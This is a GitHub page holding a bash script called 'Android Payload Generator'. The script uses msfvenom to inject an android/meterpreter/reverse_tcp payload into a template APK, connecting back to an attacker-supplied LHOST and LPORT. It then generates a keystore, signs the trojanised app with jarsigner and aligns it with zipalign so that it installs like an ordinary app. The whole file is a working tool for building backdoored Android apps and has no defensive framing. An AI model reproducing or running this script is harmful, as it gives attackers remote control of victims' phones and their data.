-
Notifications
You must be signed in to change notification settings - Fork 0
/
generate_apk.sh
62 lines (53 loc) · 1.73 KB
/
generate_apk.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/bin/bash
# Display the banner
echo "======================================="
echo " Android Payload Generator "
echo " Author: Declanmidd "
echo " GitHub: github.com/Declanmidd "
echo "======================================="
# Check if the correct number of arguments is provided
if [ "$#" -ne 3 ]; then
echo "Usage: $0 <LHOST> <LPORT> <TEMPLATE_APK>"
exit 1
fi
LHOST=$1
LPORT=$2
TEMPLATE_APK=$3
# Generate the payload with msfvenom using the template APK
echo "[*] Generating payload..."
sudo msfvenom -x "$TEMPLATE_APK" -p android/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f raw -o android.apk
if [ $? -ne 0 ]; then
echo "[!] Error generating payload. Exiting."
exit 1
fi
# Generate the keystore
echo "[*] Generating keystore..."
keytool -genkey -V -keystore key.keystore -alias emi -keyalg RSA -keysize 2048 -validity 10000 \
-dname "CN=YourName, OU=YourOrg, O=YourOrg, L=YourCity, ST=YourState, C=YourCountry" \
-storepass password -keypass password
if [ $? -ne 0 ]; then
echo "[!] Error generating keystore. Exiting."
exit 1
fi
# Sign the APK
echo "[*] Signing the APK..."
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore android.apk emi
if [ $? -ne 0 ]; then
echo "[!] Error signing APK. Exiting."
exit 1
fi
# Verify the signed APK
echo "[*] Verifying the APK..."
jarsigner -verify -verbose -certs android.apk
if [ $? -ne 0 ]; then
echo "[!] APK verification failed. Exiting."
exit 1
fi
# Align the APK
echo "[*] Aligning the APK..."
zipalign -v 4 android.apk signed_jar.apk
if [ $? -ne 0 ]; then
echo "[!] Error aligning APK. Exiting."
exit 1
fi
echo "[*] Process completed! The signed APK is named 'signed_jar.apk'."